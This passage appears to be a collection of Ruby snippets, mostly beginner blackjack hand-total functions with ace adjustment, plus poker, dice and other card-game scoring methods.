card_scores.default = 0\n\n card_scores\n end", "def calculate_points(cards_in_hands)\n points = 0\n cards_without_ace = cards_in_hands.select {|card| card[1] != 'A'}\n cards_with_ace = cards_in_hands.select {|card| card[1] == 'A'}\n cards_without_ace.each do |card|\n if card[0].to_i !=0\n points += card[0].to_i\n else\n points += 10\n end\n end\n if cards_with_ace.empty?\n return points\n else\n ace_sets = [11, 1].repeated_permutation(cards_with_ace.length).to_a\n ace_sets_sum_arr = []\n ace_sets.each do |arr|\n arr_sum = 0\n arr.each {|v| arr_sum = arr_sum + v}\n ace_sets_sum_arr.push(arr_sum)\n end\n ace_sets_sum_arr.sort!.uniq!\n ace_sets_sum_arr.map! {|num| num + points}\n if ace_sets_sum_arr.include?(21)\n points = 21\n return points\n else\n lt_21_arr = ace_sets_sum_arr.select {|v| v < 21}\n gt_21_arr= ace_sets_sum_arr.select {|v| v > 21}\n if lt_21_arr.empty?\n points = gt_21_arr.first\n return points\n else\n points = lt_21_arr.last\n return points\n end\n end\n end\nend", "def total(cards)\n values = cards.map { |card| card[1] } # this map method iterates through each card ([S, V]) and returns the value of the card from the second spot in the individual card array\n\n sum = 0 # initialize the sum variable that will be used to total the card values\n values.each do |value| # iterate through each value\n if value == \"A\" # if the card is an Ace, add 11 to the sum\n sum += 11\n elsif value.to_i == 0 # if the card's value is 0 when converted to an int, that means it is a face card and should be worth 10\n sum += 10\n else\n sum += value.to_i # otherwise, convert the value to an integer and add that to the sum\n end\n end\n\n # adjust aces if sum is greater than 21\n values.select { |value| value == \"A\" }.count.times do # iterate through the card values array, finding the aces.\n sum -= 10 if sum > MAX_VALUE # If the sum is greater than 21, subtract 10 from each ace, making the aces only worth 1\n end\n\n sum # return the sum\nend", "def calculate_score(user_id)\n Game.score(self.card_numbers user_id)\n end", "def calculate_total(cards)\n #create a new array card_values to just contain the values of the cards\n card_values = cards.map {|value| value[1]}\n total = 0\n\n #loop through these card values. If the value is an Ace, give it 11, if it is J, Q, or K, give it a value of 10. Otherwise just use the face value\n card_values.each do |card|\n if card == 'Ace'\n total += 11\n elsif card.to_i == 0 \n total = total + 10\n else\n total += card.to_i\n end\n end\n\n #count all the Aces we have using the select and count methods. And then go through the loop the number of times Ace is in the array and subtract 10 each time the total value is over 21.\n\n card_values.select {|e| e == \"A\"}.count.times do\n if total > 21\n total -= 10\n end\n end\n total\n end", "def determine_players_best_total(current_player)\n # @player1_hand = ['ace of spades', '5 of spades', '4 of spades', 'ace of diamonds']\n # @player1_hand = ['3 of spades', 'ace of hearts', '4 of spades', 'ace of clubs']\n # @player1_hand = ['ace of clubs', '2 of clubs', 'ace of hearts', '4 of hearts']\n sum_of_players_hand = 0\n number_of_aces_in_hand = 0\n if current_player == 1 then\n @player1_hand.each {|x| #begin loop adding players hand\n card_value = @deckhash.fetch(x)\n if card_value == 1 then #adjust aces to a value of 11\n card_value = 11\n number_of_aces_in_hand = number_of_aces_in_hand + 1\n end #end of ace adjustment\n sum_of_players_hand = sum_of_players_hand + card_value\n } #end of loop adding players hand\n\n if sum_of_players_hand > 21 then #must set one or more aces back to one\n loop do\n if number_of_aces_in_hand == 0 then break end\n\n sum_of_players_hand = sum_of_players_hand - 10\n\n if sum_of_players_hand < 22 then break end\n number_of_aces_in_hand = number_of_aces_in_hand - 1\n end #end of loop do\n end #end of sum_of_players_hand > 21\n end #end if current player = 1\n\n if current_player == 2 then\n @player2_hand.each {|x| #begin loop adding players hand\n card_value = @deckhash.fetch(x)\n if card_value == 1 then #adjust aces to a value of 11\n card_value = 11\n number_of_aces_in_hand = number_of_aces_in_hand + 1\n end #end of ace adjustment\n sum_of_players_hand = sum_of_players_hand + card_value\n } #end of loop adding players hand\n if sum_of_players_hand > 21 then #must set one or more aces back to one\n loop do\n if number_of_aces_in_hand == 0 then break end\n sum_of_players_hand = sum_of_players_hand - 10\n $stdout.write(\"sum of players hand #{sum_of_players_hand} :\")\n if sum_of_players_hand < 22 then break end\n number_of_aces_in_hand = number_of_aces_in_hand - 1\n end #end of loop do\n end #end of sum_of_players_hand > 21\n end #end if current player = 2\n\n if current_player == 3 then\n @player3_hand.each {|x| #begin loop adding players hand\n card_value = @deckhash.fetch(x)\n if card_value == 1 then #adjust aces to a value of 11\n card_value = 11\n number_of_aces_in_hand = number_of_aces_in_hand + 1\n end #end of ace adjustment\n sum_of_players_hand = sum_of_players_hand + card_value\n } #end of loop adding players hand\n if sum_of_players_hand > 21 then #must set one or more aces back to one\n loop do\n if number_of_aces_in_hand == 0 then break end\n sum_of_players_hand = sum_of_players_hand - 10\n# $stdout.write(\"sum of players hand #{sum_of_players_hand} :\")\n if sum_of_players_hand < 22 then break end\n number_of_aces_in_hand = number_of_aces_in_hand - 1\n end #end of loop do\n end #end of sum_of_players_hand > 21\n end #end if current player = 3\n\n if current_player == 4 then\n @player4_hand.each {|x| #begin loop adding players hand\n card_value = @deckhash.fetch(x)\n if card_value == 1 then #adjust aces to a value of 11\n card_value = 11\n number_of_aces_in_hand = number_of_aces_in_hand + 1\n end #end of ace adjustment\n sum_of_players_hand = sum_of_players_hand + card_value\n } #end of loop adding players hand\n if sum_of_players_hand > 21 then #must set one or more aces back to one\n loop do\n if number_of_aces_in_hand == 0 then break end\n sum_of_players_hand = sum_of_players_hand - 10\n# $stdout.write(\"sum of players hand #{sum_of_players_hand} :\")\n if sum_of_players_hand < 22 then break end\n number_of_aces_in_hand = number_of_aces_in_hand - 1\n end #end of loop do\n end #end of sum_of_players_hand > 21\n end #end if current player = 4\n # ### This method returns sum of player's best hand\n return sum_of_players_hand\n end", "def calculate_total(cards) \n # [['Hearts', '2'], ['Spades', 'Jack'], ...]\n total = 0\n arr = cards.map { |e| e[1] }\n\n arr.each do |card|\n if card == \"Ace\"\n total += 11\n elsif card.to_i == 0 # Jack, Queen, King\n total += 10\n else\n total += card.to_i\n end\n end\n\n # correct for Aces\n arr.select { |e| e == \"Ace\" }.count.times do\n total -= 10 if total > 21\n end\n\n total\nend", "def score\n suit_score = [\n Suit.spades,\n Suit.clubs,\n Suit.diamonds,\n Suit.hearts,\n Suit.none\n ].index(suit) * 20 + 40\n\n (number - 6) * 100 + suit_score\n end", "def score\n @score = [straight_flush, four_of_a_kind, full_house, flush, straight, three_of_a_kind, two_pair, one_pair, high_card]\n end", "def score\n return 0 unless valid?\n 100 * card_value_decimal * 15 ** 5\n end", "def calculate_total(cards)\r\n\ttotal = 0\r\n\tarr = cards.map {|e| e[1]}\r\n\tarr.each do |val|\r\n\t\tif val == 'A'\r\n\t\t\ttotal += 11\r\n\t\telsif val.to_i == 0 # J,Q,K\r\n\t\t\ttotal += 10\r\n\t\telse \r\n\t\t\ttotal += val.to_i\r\n\t\tend\r\n\tend\r\n\r\n\t#correct for aces\r\n\tarr.select {|e| e=='A'}.count.times do\r\n\t\ttotal -= 10 if total > 21\r\n\tend\r\n\r\n\ttotal\r\nend", "def calculate_total(cards)\r\n # [['H', '3'], ['S', 'Q'], ... ]\r\n\r\n arr = cards.map{|e| e[1]}\r\n \r\n total = 0\r\n arr.each do |value|\r\n if value == \"A\"\r\n total += 11\r\n elsif value.to_i == 0 # J, Q, K\r\n total += 10\r\n else\r\n total += value.to_i\r\n end\r\n # Logic for Aces\r\n end\r\n arr.select{|e| e == \"A\"}.count.times do\r\n total -= 10 if total > 21\r\n end\r\n\r\n return total\r\nend", "def get_optimum_hand_score(hand)\n total = 0\n hand.each do |card|\n total += get_card_value(card)\n end\n\n #Count the number of aces we have\n num_aces = (hand.select{|card| get_card_value(card) == 11}).length\n\n #Account fo aces\n while total > 21 && num_aces > 0 do\n total -= 10\n num_aces -= 1\n end\n return total\nend", "def calculate_total\n #create a new array card_values to just contain the values of the cards\n card_values = cards.map {|value| value[1]}\n total = 0\n\n #loop through these card values. If the value is an Ace, give it 11, if it is J, Q, or K, give it a value of 10. Otherwise just use the face value\n card_values.each do |card|\n if card == 'Ace'\n total += 11\n elsif card.to_i == 0 \n total = total + 10\n else\n total += card.to_i\n end\n end\n\n #count all the Aces we have using the select and count methods. And then go through the loop the number of times Ace is in the array and subtract 10 each time the total value is over 21.\n\n card_values.select {|e| e == \"A\"}.count.times do\n if total > 21\n total -= 10\n end\n end\n @total = total\n end", "def value_of_hand(array_of_cards)\n faces = {\"A\" =>11,\n \"2\" => 2, \n \"3\" => 3,\n \"4\" => 4,\n \"5\" => 5,\n \"6\" => 6,\n \"7\" => 7,\n \"8\" => 8,\n \"9\" => 9,\n \"10\" => 10,\n \"J\" => 10,\n \"Q\" => 10,\n \"K\" => 10\n }\n total_value = 0\n num_aces = 0\n array_of_cards.each do |c|\n #cards are in string format, e.g. \"J of diamonds\"\n face = c.split[0]\n value = faces[face]\n total_value += value\n num_aces += 1 if face == \"A\"\n end\n #correct for Aces -- BORROWED THIS LOGIC FROM TEACHER'S CODE\n num_aces.times do\n total_value -= 10 if total_value > 21\n end\n return total_value\nend", "def calc_hand_total(cards)\r\n total = 0\r\n numbers_only_array = cards.map {|g| g[0]}\r\n numbers_only_array.each do |h|\r\n if h == 'ace'\r\n total += 11\r\n elsif h.to_i == 0\r\n total += 10\r\n else\r\n total += h.to_i\r\n end\r\n end\r\n\r\n numbers_only_array.select {|k| k == \"ace\"}.count.times do\r\n total -= 10 if total > 21 \r\n end\r\n\r\n total\r\nend", "def card_totals(selected_cards)\n total_value = 0\n selected_cards.each do |card|\n card_value = card[0]\n if card_value.to_i > 0\n total_value += card_value.to_i\n elsif ['J', 'Q', 'K'].include?(card_value)\n total_value += 10\n elsif card_value == \"A\" && total_value > 10\n total_value += 1\n elsif card_value == \"A\" && total_value < 10\n total_value += 11\n end\n end\n total_value\nend", "def calculate_total(cards) #nested array of [['hearts', '3'], ['spades', '4']]\n\t#We want to create methods for extractable, reusable code\n\t#But the object must be in the same form\n\t#you don't have to explicitly indicate \"return\" when you want to render or puts a value, in ruby, the last line is \n\t#returned implicitly.\n\n\tarr = cards.map{|e| e[1] }\n\n\ttotal = 0\n\tarr.each do |value| \n\t\tif value == \"A\"\n\t\t\ttotal += 11\n\t\telsif value.to_i == 0 #if card value has no integer value (equals 0), add 10\n\t\t\ttotal += 10 #in instances of Jack, Queen, or King\n\t\telse\n\t\t\ttotal += value.to_i #if card has an integer value\n\t\tend\n\tend\n#correct for Aces\narr.select{|e| e == \"A\"}.count.times do\n\ttotal -= 10 if total > 21\t\n\tend\n\ttotal\nend", "def game_value(cards)\n sum = 0\n cards.each do |card|\n sum += card.game_value\n end\n sum\nend", "def calculate_totals(cards) \n card_values = cards.map{|card| card[1]}\n total_socre = 0\n card_values.each do |value|\n if value == \"Ace\"\n total_socre += 11\n elsif value.to_i == 0\n total_socre += 10\n else\n total_socre += value.to_i\n end\n end\n#correct for Aces\n card_values.select {|e| e == \"Ace\"}.count.times do\n total_socre -= 10 if total_socre > 21\n end\n total_socre\nend", "def calculatetotal(cards) # calculating the total of the two cards dealt, first to player then to dealer\n array = cards.map {|card| card[0]} # using the map method to lay out all the cards which are like so [[\"A\", \"S\"], [\"5\", \"C\"]]\n # We then only take the first element of the array and initialize that to the total\n total = 0 # total at the outset is zero\n array.each do |value|\n if value == \"A\" # in the event you get an ace card. \"A\" is as is unlike the bottom ones below\n total += 11 # total should now increase to 11\n elsif value.to_i == 0 # this is to cover for getting J, K, Q cards which defaults value to integer is zero\n total += 10\n else\n total += value.to_i\n end\nend # finished the array\n\n# Correcting Aces in case there are more than one. It should convert aces to 1 instead of 11 if total is more than 21\narray.select {|card| card.include?(\"A\")}.count.times do\n total -= 10 if total > 21\nend\ntotal # don't forget to include total here before exiting. IMPORTANT!!\nend", "def calculate_total(cards)\n total = 0\n value_of_cards = cards.map{|e| e[1]}\n value_of_cards.each do |value|\n if value == \"A\"\n total += 11\n elsif value.to_i == 0\n total +=10 # handle J, Q, K\n else\n total += value.to_i\n end\n # corrct Ace condition\n if total > 21\n value_of_cards.select{|e| e == \"A\"}.count.times do\n total -= 10\n end\n end\n end\n total\nend", "def get_score\n flush = is_flush?\n straight = is_straight?\n pairs = pairs?\n\n return 45 if pairs.size == 1 && pairs[0][1] == 5\n return 44 if flush && straight\n return 31 + pairs[0][0] - 2 if pairs.size == 1 && pairs[0][1] == 4\n return 30 if pairs.size == 2 && (pairs[0][1] + pairs[1][1]) == 5\n return 29 if flush\n return 28 if straight\n return 15 + pairs[0][0] - 2 if pairs.size == 1 && pairs[0][1] == 3\n return 14 if pairs.size == 2\n return 1 + pairs[0][0] - 2 if pairs.size == 1\n -14 + high_card #high card return\n end", "def scores_update\n # Variable to Hold the Player's Score:\n @players_score = 0\n # Variable to Hold the Dealer's Score:\n @dealers_score = 0\n\n # Player - Different Scenarios for an Ace\n #########################################\n for card in @player.cards\n if card.name == :ace\n # If player's card is an Ace, then increase the player's softhand score by 1.\n @players_softhand += 1\n # If player's card is an Ace and the player's score is greater than 11, then increase the score by 1\n if @players_score >= 11\n @players_score += 1\n\n #Note* Alternatively:\n #@players_score += card.value.last\n else\n # Else increase the score by 11\n @players_score += 11\n #Note* Alternatively:\n #@players_score += card.value.first\n end\n else\n # Else if card isn't an Ace, then increase the value of the score by the cards value.\n @players_score += card.value\n end\n end\n\n # Dealer - Scenario for an Ace\n ##############################\n\n # If player hasn't chosen to stand\n if player_stands == false\n # and If the dealers first card is an Ace\n if @dealer.cards[1].name == :ace\n # then increase the dealer's soft hand score by 1\n @dealers_softhand += 1\n # and increase the dealer's score by 11\n @dealers_score += 11\n else\n # else increase the dealer's score by the value of the card.\n @dealers_score += @dealer.cards[1].value\n end\n\n # Else if Player has chosen to stand, \n else\n # For each of the Dealer's cards\n for card in @dealer.cards\n # If any card is an ace,\n if card.name == :ace\n # Then increase the dealer's softhand score by 1\n @dealers_softhand += 1\n # If player has chosen to stand and if the card is an ace and if the dealer's score is greater than 10,\n if @dealers_score >= 11\n # then increase the dealer's score by one\n @dealers_score += 1\n else\n # else increase the dealer's score by 11.\n @dealers_score += 11\n end\n # Else if the dealer's card is not an Ace, then increase the score by the cards value. \n else\n @dealers_score += card.value\n end\n end\n end\n\n # Dealing with Edge Cases for an Ace Card\n # First 2 Cards are both Aces or one of the first 2 cards is an Ace, but then a resulting value makes the score go over 21\n ######################################\n\n # If player score is greater than 21 and player's softhand is greater than 0, \n if @players_score > 21 && players_softhand > 0\n # then subtract the score by 10 (Difference in value of an Ace.)\n @players_score -= 10\n # and subtract the score of the softhand score by 1.\n @players_softhand -= 1\n end\n\n # If dealer score is greater than 21 and dealer's softhand score is greater than 0, \n if @dealers_score > 21 && dealers_softhand > 0\n # then subtract the dealer's score by 10 (Difference in value of an Ace.)\n @dealers_score -= 10\n # then subtract the dealer's soft hand score by 1.\n @dealers_softhand -= 1\n end\n end", "def calculate_total(cards)\n\tarr = cards.map { |e| e[1] }\n\n\ttotal = 0\n\tarr.each do |value|\n\t\tif value == 'A'\n\t\t\ttotal += 11\n\t\telsif value.to_i == 0 #only works for J, Q, K\n\t\t\ttotal += 10\n\t\telse\n\t\t\ttotal += value.to_i\n\t\tend\n\tend\n\t#Code to make Aces work\n\tarr.select{|e| e == \"A\"}.count.times do\n\t\ttotal -=10 if total > 21\n\tend\n\n\tif arr.include?(\"A\") && total > 21\n\t\ttotal -= 10\n\tend\n\n\ttotal\nend", "def determine_dealers_best_total\n # @dealer_hand = ['ace of spades', '5 of spades', '4 of spades', 'ace of diamonds']\n # @player1_hand = ['3 of spades', 'ace of hearts', '4 of spades', 'ace of clubs']\n # @player1_hand = ['ace of clubs', '2 of clubs', 'ace of hearts', '4 of hearts']\n # @dealer_hand = ['king of hearts', '6 of diamonds']\n sum_of_dealers_hand = 0\n number_of_aces_in_hand = 0\n @dealer_hand.each {|x| # begin loop adding dealers hand\n card_value = @deckhash.fetch(x)\n\n if card_value == 1 then # adjust aces to a value of 11\n card_value = 11\n number_of_aces_in_hand = number_of_aces_in_hand + 1\n end\n sum_of_dealers_hand = sum_of_dealers_hand + card_value\n\n } #end of loop adding dealers hand\n\n if sum_of_dealers_hand > 21 then # must set one or more aces back to one\n loop do\n if number_of_aces_in_hand == 0 then break end\n sum_of_dealers_hand = sum_of_dealers_hand - 10\n if sum_of_dealers_hand < 22 then break end\n number_of_aces_in_hand = number_of_aces_in_hand - 1\n end #end of loop do\n end #end of sum_of_dealers_hand > 21\n\n # $stdout.write(\"Showing card and value #{sum_of_dealers_hand}, #{number_of_aces_in_hand} \\n\")\n # ### this method returns of the dealer's best hand'\n\n sum_of_dealers_hand = sum_of_dealers_hand + 0\n\n end", "def calculate_total hand\n\ttotal=0\n\tarray = hand.map {|e| e[1]}\n\tarray.each do |card|\n\t\t## face card \n\t\tif card == \"10\" || card ==\"J\" || card ==\"K\" || card ==\"Q\"\n\t\t\ttotal +=10\n\t\t## Ace card\t\n\t\telsif card ==\"A\"\n\t\t\ttotal += 11\n\t\telse \n\t\t\ttotal += card.to_i\n\t\tend\n\tend\n\thand.collect {|e| e[1]}.each do |card|\n\t\tif total >21 && card == \"A\"\n\t\t\ttotal -= 10\n\t\tend\n\tend\n\n\treturn total \nend", "def score(dice)\n \n if dice.empty?\n return 0\n end\n\n var_score = 0\n\n conteo = (0..9).to_a.each.map { |x| dice.count(x)} \n \n #Evaluating 1\n if ( conteo[1] / 3 ) >= 0\n multiplier1 = conteo[1]/3\n var_score += multiplier1 * 1000\n end\n\n if ( conteo[1] % 3 ) != 0\n var_score += (conteo[1] % 3)*100\n end\n \n #Evaluating 5\n if ( conteo[5] % 3 ) != 0\n var_score += (conteo[5] % 3)* 50\n end\n\n #Evaluating numbers x 3 \n if (conteo[2..9].count { |x| x >= 3 }) > 0\n triplets = conteo[2..9].map {|x| x / 3}\n array_multiplicator = triplets.each_with_index.select {|num,index| (num > 0)}.map {|x| x[0]}\n product_triplets = triplets.each_with_index.select {|num,index| (num > 0)}.map {|x| x[1]}.map {|x| (x+2)*100}\n var_score += array_multiplicator.zip(product_triplets).map{|x| x.inject(&:*)}.sum\n end\n\n var_score\nend", "def score\n p_score = player_hand.collect{|x| x.value}.inject(:+)\n c_score = computer_hand.collect{|x| x.value}.inject(:+)\n puts \"You have #{player_hand.collect{|x| \"#{x.face}#{x.suit}\"}.join(\" & \")}, for a total of #{p_score}\"\n puts \"The computer has #{computer_hand.collect{|x| \"#{x.face}#{x.suit}\"}.join(\" & \")}, for a total of #{c_score}\"\n puts \" \"\n end", "def get_multiples(number)\n cards = []\n\n @cards_by_score.each_key do |card|\n if @card_scores.count(card.score) == number\n cards << card\n end\n end\n\n cards\n\n end", "def eval_7_card_hand( cards )\n 1\n end", "def hand_score\n cards.map {|a| a.value}.sort {|a,b| a <=> b}.last\n end", "def calcScore(hand)\n return hand.inject(0) { |sum, n| sum + n.points }\nend", "def score( dice )\n @result = []\n values = [*1..6]\n values.each do |i|\n if dice.count(i) >= 3\n case i\n when 1\n result << 1000\n when 2\n result << 200\n when 3\n result << 300\n when 4\n result << 400\n when 5\n result << 500\n when 6\n result << 600\n end\n if (dice.count(i) - 3) > 0\n case i\n when 1\n result << 100 * (dice.count(1) - 3)\n when 5\n result << 50 * (dice.count(5) - 3)\n end\n end\n else\n once_check(i)\n # case i\n # when 1\n # result << 100 * dice.count(1)\n # when 5\n # result << 50 * dice.count(5)\n # end\n end\n end\n result.sum\nend", "def card_total(hand)\n total = 0\n ace = hand.select {|x| x[0] == 'A'}\n # Calculation of hand without aces.\n if ace == []\n hand.each do |x|\n x = x[0..-2].to_i\n x == 0? total += 10 : total += x\n end\n total\n else\n # Calculation of hand with ace(s)\n # Delete aces from hand array\n ace.each do |a|\n hand.each {|x| hand.delete(a) if x == a}\n end\n # Calculate hand without aces\n hand.each do |x|\n x = x[0..-2].to_i\n x == 0? total += 10 : total += x\n end\n ace.each {|a| hand << a}\n # Add the value of ace(s) to the current total\n nr_ace = ace.length\n case nr_ace\n when 1\n total <= 10? total += 11 : total += 1\n when 2\n total <= 9? total += 12 : total += 2\n when 3\n total <= 8? total += 13 : total += 3\n else\n total <= 7? total += 14 : total += 4\n end\n total \n end\nend", "def hand_score(hand)\n\tcards= {\"A\"=>4, \"K\"=>3, \"Q\"=>2, \"J\"=>1}\n \tscore = 0\n \thand.each_char { |char| score += cards[char.upcase] }\n \treturn score\nend", "def update_score!(sum_cards, score)\n if sum_cards[:user] > sum_cards[:dealer]\n score[:user] += 1\n elsif sum_cards[:user] < sum_cards[:dealer]\n score[:dealer] += 1\n end\nend", "def sums_up(cards) \n\tsum = 0\n new_arr = cards.map{|e| e[0]} # generate a new array contain the values returned by the block\n\n new_arr.each do |x| \n \tif x == 'Ace'\n \t\tsum += 11\n elsif x.to_i == 0\n \t# instead of \"x == 'Jack' || x == 'Queen' || x == 'King'\"\"\n \tsum += 10\n else \n \tsum += x.to_i\n end\n end\n\n # correct for Aces\n new_arr.select{|e| e == \"Ace\"}.count.times do # count how many \"ace\"s and do n times\n sum -= 10 if sum >21\n end\n\n\tsum\nend", "def calculate_hand_total_value(hand_array)\n total_value = 0\n is_there_an_ace = false\n\n hand_array.each do |card|\n if card[:rank] === \"A\"\n is_there_an_ace = true\n end\n\n card_value = card[:value]\n total_value += card_value\n\n end\n\n if is_there_an_ace\n return [total_value, total_value + 10]\n\n else\n return [total_value, 999]\n\n end\n\nend", "def referee(cardsA,cardsB)\n\n\tscoreA = 0\n\tscoreB = 0\n\n\t#loop to allow for checking all played cards\n\tfor i in 0...cardsA.length\n\t\t\n\t\t#handle a tie\n\t\tif cardsA[i][\"value\"].to_i == cardsB[i][\"value\"].to_i\n\t\t\t#no points for tie\n\t\t\n\t\t#point to player A\n\t\telsif cardsA[i][\"value\"].to_i > cardsB[i][\"value\"].to_i\n\t\t\tscoreA += 1\n\t\t\n\t\t#point to player B\n\t\telse\n\t\t\tscoreB += 1\n\t\tend\n\tend\n\n\t#return scores as simple array\n\treturn [scoreA, scoreB]\nend", "def cards_by_score\n scores = {}\n\n @cards.each do |card|\n scores[card] = card.score\n end\n\n Hash[scores.sort_by { |card, score| -score }]\n\n end", "def score_all!\n match.match_bets.find_each do |match_bet|\n match_bet.score!\n end\n end", "def evaluate(hand) \n value = 0\n numerical_value = hand.map { |card| card[0]} \n numerical_value.each do |x| \n if ['K', 'Q', 'J'].include?(x)\n value += 10\n elsif x == 'A'\n value += 11\n else\n value += x.to_i\n end\n end\n \n hand.select {|x| x[0] == 'A'}.count.times do \n if value > 21\n value -= 10\n end\n end\n value\nend", "def calculate_team_scorecard(game_matchups, scorecard_template)\n team_scorecard = scorecard_template\n #based on game results, increase appropriate wins/losses/ties values\n game_matchups.each do |game_info|\n home_team = game_info[\"home_team\"]\n away_team = game_info[\"away_team\"]\n home_score = game_info[\"home_score\"].to_i\n away_score = game_info[\"away_score\"].to_i\n if home_score > away_score\n #add 1 win to home_team and add 1 loss to away_team\n team_scorecard[home_team][:wins] += 1\n team_scorecard[away_team][:losses] += 1\n elsif home_score < away_score\n #add 1 win to away_team and add 1 loss to home_team\n team_scorecard[home_team][:losses] += 1\n team_scorecard[away_team][:wins] += 1\n else\n #add 1 tie to both home_team and away_team\n team_scorecard[home_team][:ties] += 1\n team_scorecard[away_team][:ties] += 1\n end\n end\n team_scorecard.to_a\nend", "def calculate_team_scorecard(game_matchups, scorecard_template)\n team_scorecard = scorecard_template\n #based on game results, increase appropriate wins/losses/ties values\n game_matchups.each do |game_info|\n home_team = game_info[\"home_team\"]\n away_team = game_info[\"away_team\"]\n home_score = game_info[\"home_score\"].to_i\n away_score = game_info[\"away_score\"].to_i\n if home_score > away_score\n #add 1 win to home_team and add 1 loss to away_team\n team_scorecard[home_team][:wins] += 1\n team_scorecard[away_team][:losses] += 1\n elsif home_score < away_score\n #add 1 win to away_team and add 1 loss to home_team\n team_scorecard[home_team][:losses] += 1\n team_scorecard[away_team][:wins] += 1\n else\n #add 1 tie to both home_team and away_team\n team_scorecard[home_team][:ties] += 1\n team_scorecard[away_team][:ties] += 1\n end\n end\n team_scorecard.to_a\nend", "def evaluate\r\n score = 0\r\n # Evaluate score for each wining combination\r\n WIN_COMBINATIONS.each do |combo|\r\n score += evaluate_combo(combo)\r\n end\r\n\r\n score\r\n end", "def calculate_total(cards)\n total = 0\n cards.each do |c|\n if (1..10).include?(c.last.to_i)\n total += c.last.to_i\n elsif c.last == 'K' || c.last == 'Q' || c.last == 'J'\n total += 10\n elsif c.last == 'A'\n if total > 10\n total += 1\n else\n total += 11\n end\n end\n end\n total\nend", "def determine_cards(card,hsh)\n case card.number\n when 1\n assign_to_hsh(hsh,card,:ace)\n when 2\n assign_to_hsh(hsh,card,:two)\n when 3\n assign_to_hsh(hsh,card,:three)\n when 4\n assign_to_hsh(hsh,card,:four)\n when 5\n assign_to_hsh(hsh,card,:five)\n when 6\n assign_to_hsh(hsh,card,:six)\n when 7\n assign_to_hsh(hsh,card,:seven)\n when 8\n assign_to_hsh(hsh,card,:eight)\n when 9\n assign_to_hsh(hsh,card,:nine) \n when 10\n assign_to_hsh(hsh,card,:ten)\n when 11\n assign_to_hsh(hsh,card,:jack)\n when 12\n assign_to_hsh(hsh,card,:queen)\n when 13\n assign_to_hsh(hsh,card,:king)\n end\n end", "def initialize(cards)\n raise \"Invalid hand size - #{cards.length}\" unless cards.length == 5\n @cards = cards.map {|c| Card.new(c)}.sort\n @by_value = {}\n @by_suit = {}\n @cards.each do |c|\n @by_value[c.value] ||= []\n @by_suit[c.suit] ||= []\n @by_value[c.value] << c\n @by_suit[c.suit] << c\n end\n\n if @cards[4].value+1 == @cards[3].value &&\n @cards[3].value+1 == @cards[2].value &&\n @cards[2].value+1 == @cards[1].value &&\n @cards[1].value+1 == @cards[0].value\n end\n # Is it a straight\n @straight = true\n @cards.reduce do |p,c|\n if p.value != c.value + 1\n @straight = false\n break\n end\n c\n end\n value = [0]\n if @straight # Is it a straight\n value = [500, @cards.first.value]\n end\n # Is it a flush\n if @flush = @by_suit.find {|k,v| v.length == 5}\n if @straight\n value = [900, @cards.first.value]\n else\n value = [600, @cards.first.value]\n end\n end\n if value[0] < 700\n if (a = @by_value.find {|k,v| v.length == 3 }) &&\n (b = @by_value.find {|k,v| v.length == 2 })\n value = [700, a[0], b[0]]\n elsif a = @by_value.find {|k,v| v.length == 4 }\n value = [800, a[0]] # Is it 4 of a kind\n end\n end\n if value[0] < 500 && (a = @by_value.find {|k,v| v.length == 3 })\n value = [400, a[0]] # Is it 3 of a kind\n end\n if value[0] < 400 \n if (a = @by_value.select {|k,v| v.length == 2}).length > 0\n if a.length == 2\n hi,low = a[a.keys.max], a[a.keys.min]\n high = @cards - hi - low\n value = [300,hi.first.value, low.first.value, high.first.value]\n else\n pair = a[a.keys.first]\n high = (@cards - pair).first\n value = [200,pair.first.value, high.value]\n end\n else\n value = [100, @cards.first.value]\n end\n end\n @value = value\n end", "def calculate_primiera(hand1, hand2)\r\n res = [0,0]\r\n #p hand1\r\n #p hand2\r\n # first get the max card on each suit\r\n max_pt = []\r\n [hand1, hand2].each do |curr_hand|\r\n # reset max\r\n max_pt << {:D => 0, :B => 0, :C => 0, :S => 0 }\r\n curr_hand.each do |lbl|\r\n points = @deck_information.get_card_points(lbl)\r\n suit = @deck_information.get_card_segno(lbl)\r\n if points > max_pt.last[suit]\r\n # max on suit\r\n max_pt.last[suit] = points\r\n end\r\n end\r\n #p max_pt.last\r\n end\r\n # using inject, 0 is the first value of the accumulator sum, tha assume the\r\n # value of the block provided. x assume each value of the max_pt.first\r\n # x becomes a pair like max_pt.first.each{|k,v|}. For example x = [:S, 21]\r\n arr_sum_points = []\r\n max_pt.each do |maxitem|\r\n arr_sum_points << maxitem.inject(0) do |sum, x|\r\n if x[1] > 0 and sum >= 0 \r\n sum + x[1]\r\n else\r\n # this is a particular case, we don't have points on a particular suit\r\n # in this case there is no primiera. Then stay on -1.\r\n sum = -1\r\n end\r\n end\r\n end\r\n #p arr_sum_points\r\n if arr_sum_points[0] > arr_sum_points[1]\r\n #primiera on the first hand\r\n res[0] = 1\r\n res[1] = 0\r\n elsif arr_sum_points[0] == arr_sum_points[1]\r\n # same points, primiera is not assigned\r\n res[0] = 0\r\n res[1] = 0\r\n else\r\n #primiera on the second hand\r\n res[0] = 0\r\n res[1] = 1\r\n end \r\n #p res\r\n return res\r\n end", "def hand_score(string)\n cards = { A: 4, K: 3, Q: 2, J: 1 }\n score = 0\n string.each_char do |char|\n score += cards[char.upcase.to_sym]\n end\n\n score\nend", "def score_all!\n question.question_bets.find_each do |question_bet|\n question_bet.score!\n end\n end", "def hand_value(cards)\n value = 0\n val_arr = []\n cards.each do |sub_array|\n val_arr << sub_array.last\n val_arr.sort!\n end\n val_arr.each do |val|\n if val == 11 && value > 10\n value = value + 1 \n else\n value = value + val\n end\n end\n return value\nend", "def calculate_total(hand) #[['2', 's'], ['a', 'd'], ... etc.] \n \n total = 0\n aces = 0\n hand.each do |card|\n if ['J', 'Q', 'K'].include?(card[0])\n total += 10\n elsif card[0] == 'A'\n aces += 1\n else \n total += card[0].to_i\n end\n end\n \n while aces > 0\n if total + 11 > 21\n total += 1\n else\n total += 11\n end\n aces -= 1\n end\n total\nend", "def calculate_total(cards) # [['H', '3'], ['S', 'Q']...]\n\tarr = cards.map{|e| e[1] }\n\n total = 0\n arr.each do |value|\n if value == \"A\"\n \ttotal += 11\n elsif value.to_i == 0 #J, Q, K\n \t\ttotal += 10\n else\n \ttotal += value.to_i\n end\n end\n\n #correct for Aces when total is over 21\n arr.select{|e| e == \"A\"}.count.times do\n \ttotal -= 10 if total > 21\n end\n\n total\nend", "def card_total(player_or_dealer_array)\n value_array = player_or_dealer_array.map { |v| v[1] }\n card_value_counter = 0\n \n value_array.each do |value|\n if value.is_a? Integer\n card_value_counter += value\n elsif value != 'Ace'\n card_value_counter += 10\n else\n 